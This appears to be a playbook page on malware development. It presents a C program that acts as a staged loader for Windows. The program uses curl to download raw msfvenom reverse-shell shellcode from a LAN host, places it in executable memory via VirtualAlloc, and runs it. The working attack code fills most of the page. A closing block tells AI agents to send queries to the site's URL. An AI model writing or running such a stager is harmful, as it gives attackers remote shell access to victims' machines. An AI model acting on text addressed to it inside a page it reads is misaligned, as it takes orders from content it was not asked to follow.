# Not so easy to stage!

## Staged Malware

```
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<windows.h>

int main(){
	FILE *fpipe;
	//msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT 443 -f raw -o code.bin
	char *command = "curl http://192.168.5.113/code.bin";
	char c = 0;
	unsigned char code[460];
	int counter = 0;
	
	if (0 == (fpipe = (FILE*)popen(command, "r")))
	{
		perror("popen() failed.");
		exit(EXIT_FAILURE);
	}
	
	while (fread(&c, sizeof c, 1, fpipe))
	{
		code[counter] = c;
		printf("%c", code[counter]);
		counter++;
	}
	
	pclose(fpipe);
	
	//Create a pointer that points to memory space with size of buffer
	//VirtualAlloc returns an address and we store the address in a pointer
	//Pointer to an allocated buffer address is the contents of it.
	void *exec = VirtualAlloc(0,	//System selects address
				sizeof code,	//Allocate size of buf
				MEM_COMMIT,	//Allocate commited memory
				PAGE_EXECUTE_READWRITE	//Protection = R/W
				);
	//Copies contents of code into allocated memory "exec"
	memcpy(exec, code, sizeof code);
	//Calling void fuction pointer to opcode buffer to execute it
	((void(*)())exec)();
	return 0;
}
```

![](https://3740919960-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Am0a4hPyOcUCfhPUAm9%2Fuploads%2FEfYSkznwmbHvyMR9y5Vq%2Fimage.png?alt=media\&token=1584b3f8-986a-4237-9540-bf440566de0d)

##


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://playbook.sidthoviti.com/malware-dev/not-so-easy-to-stage.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
